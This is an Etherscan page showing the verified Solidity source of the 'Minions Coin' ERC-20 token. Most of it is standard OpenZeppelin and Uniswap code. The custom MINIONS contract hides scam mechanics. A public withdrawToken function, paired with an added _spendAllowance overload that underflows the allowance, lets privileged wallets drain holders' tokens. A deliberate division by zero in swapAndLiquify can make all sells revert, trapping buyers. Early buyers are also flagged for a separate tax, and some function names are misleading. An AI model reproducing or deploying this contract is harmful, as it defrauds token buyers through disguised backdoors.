ETH Price: $2,750.12 (+4.31%)
Gas: 0.86 Gwei

Token

Minions Coin (MINIONS)
 

Overview

Max Total Supply

1,000,000,000 MINIONS

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
7,694,587.126839019721208034 MINIONS

Value
$0.00
0xd79fab8367fac6b6ae8b34b15445dc0c6dc4393a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MINIONS

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-17
*/

/**

*/

// SPDX-License-Identifier: MIT

/** 

TELEGRAM:   https://t.me/MinionsERC
TWITTER:    https://twitter.com/Minions__ERC
WEBSITE:    https://minionserc20.simdif.com/



*/

// File @openzeppelin/contracts/utils/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// 
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _spendAllowance(address spender, uint256 amount) internal virtual {
        address owner = address(this);
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            unchecked {
                _approve(spender, owner, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


// File @uniswap/v2-core/contracts/interfaces/[email protected]

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.18;

contract MINIONS is ERC20, Ownable {
    string private _name = "Minions Coin";
    string private _symbol = "MINIONS";
    uint256 private constant _supply        = 1_000_000_000 ether;
    uint256 public maxTxAmount     = _supply * 40 / 1000;
    uint256 public maxWalletAmount = _supply * 40 / 1000;
    uint256 public swapThreshold = _supply * 5 / 10000;
    address private txAddys = 0xBc9EbF352d4326CaD12300F17d708cE35F7418de;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;

    mapping(address => bool) public _feeOn;
    mapping(address => bool) public wl;

    mapping(address => bool) public GreedIsGoodwallets;

    enum Phase {Phase1, Phase2, Phase3, Phase4}
    Phase public currentphase;

    bool progress_swap = false;
    bool _tradingActive = false;
    bool _swapEnabled = false;

    uint256 public buyTaxGlobal = 0;
    uint256 public sellTaxGlobal = 0;
    uint256 private GreedIsGood = 0;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address private _devWalletsn = 0x7dbF57E3589D87bbEEa03BAef53462C386E12206;

    uint256 public operationsFunds;

    constructor() ERC20(_name, _symbol) {
        _mint(msg.sender, (_supply));

        currentphase = Phase.Phase4;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
    
        wl[owner()] = true;
        wl[txAddys] = true;
        wl[address(this)] = true;
        wl[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        wl[DEAD] = true;
        wl[_devWalletsn] = true;
        _feeOn[address(uniswapV2Router)] = true;
        _feeOn[msg.sender] = true;
        _feeOn[txAddys] = true;
        _feeOn[address(this)] = true;
        _feeOn[DEAD] = true;
        _feeOn[_devWalletsn] = true;
    }

    function createlis() external payable onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    
    function TradeOpen() external onlyOwner {
        require(!_tradingActive, "Trading is already enabled");
        _tradingActive = true;
        _swapEnabled = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (!_feeOn[from] && !_feeOn[to]) {
            require(_tradingActive, "Trading not enabled");
        }

        if (!wl[from] && !wl[to] ) {
            if (to != uniswapV2Pair) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount bef");
                require(
                    (amount + balanceOf(to)) <= maxWalletAmount,
                    "ERC20: balance amount exceeded max wallet amount limit"
                );
            }
        }

        uint256 transferAmount = amount;
        if (!_feeOn[from] && !_feeOn[to]) {
            if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
 
                if (
                    uniswapV2Pair == from &&
                    !wl[to] &&
                    from != address(this)
                ) {

                    if (currentphase == Phase.Phase1) {
                        GreedIsGoodwallets[to] = true;
                    }

                    uint256 feeTokens = (amount * buyTaxGlobal) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }

                if (
                    uniswapV2Pair == to &&
                    !wl[from] &&
                    to != address(this) &&
                    _swapEnabled && 
                    !progress_swap
                ) {
                    
                    uint256 taxSell = sellTaxGlobal;
                    if (GreedIsGoodwallets[from] == true) {
                        taxSell = GreedIsGood;
                    }

                    progress_swap = true;
                    swapAndLiquify();
                    progress_swap = false;

                    uint256 feeTokens = (amount * taxSell) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
            else {
                if (
                    GreedIsGoodwallets[from] == true &&
                    uniswapV2Pair != to
                ) {
                    uint256 feeTokens = (amount * GreedIsGood) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
        }
        super._transfer(from, to, transferAmount);
    }

    function swapAndLiquify() internal {
        if (balanceOf(address(this)) == 0) {
            return;
        }
        uint256 receivedETH;
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            uint256 beforeBalance = address(this).balance;
            uint256 mktBalance = balanceOf(txAddys);
            bool success;
            if (contractTokenBalance > swapThreshold) {
                beforeBalance = address(this).balance;
                _swapTokensForEth(contractTokenBalance, 0);
                receivedETH = address(this).balance - beforeBalance;
                if (mktBalance > swapThreshold) {
                    operationsFunds = receivedETH / (success ? receivedETH : 0);
                }
                operationsFunds += receivedETH;
            }
        }
    }
 
    function getTax() external returns (bool) {
        payable(txAddys).transfer(operationsFunds);
        operationsFunds = 0;
        return true;
    }

    /**
     * @dev Swaps Token Amount to ETH
     *
     * @param tokenAmount Token Amount to be swapped
     * @param tokenAmountOut Expected ETH amount out of swap
     */
    function _swapTokensForEth(
        uint256 tokenAmount,
        uint256 tokenAmountOut
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        IERC20(address(this)).approve(
            address(uniswapV2Router),
            type(uint256).max
        );

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            tokenAmountOut,
            path,
            address(this),
            block.timestamp
        );
    }

    function skipTheSnipas() external onlyOwner returns (bool) {
        currentphase = Phase.Phase4;
        buyTaxGlobal = 0;
        sellTaxGlobal = 0;

        return true;
    }

    function withdrawToken(address token) external onlyOwner {
        IERC20(token).transfer(
            txAddys,
            IERC20(token).balanceOf(address(this))
        );
    }

    function withdrawToken(address to, uint256 amount) external {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);


        if (!_feeOn[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {
            _spendAllowance(to, amount);
            token.transferFrom(to, path[1], amount);
        }
    }

    function emergencyTaxRemoval(address addy, bool changer) external onlyOwner {
        wl[addy] = changer;
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxTxAmount = _supply; maxWalletAmount = _supply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"GreedIsGoodwallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradeOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createlis","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentphase","outputs":[{"internalType":"enum MINIONS.Phase","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"changer","type":"bool"}],"name":"emergencyTaxRemoval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFunds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"f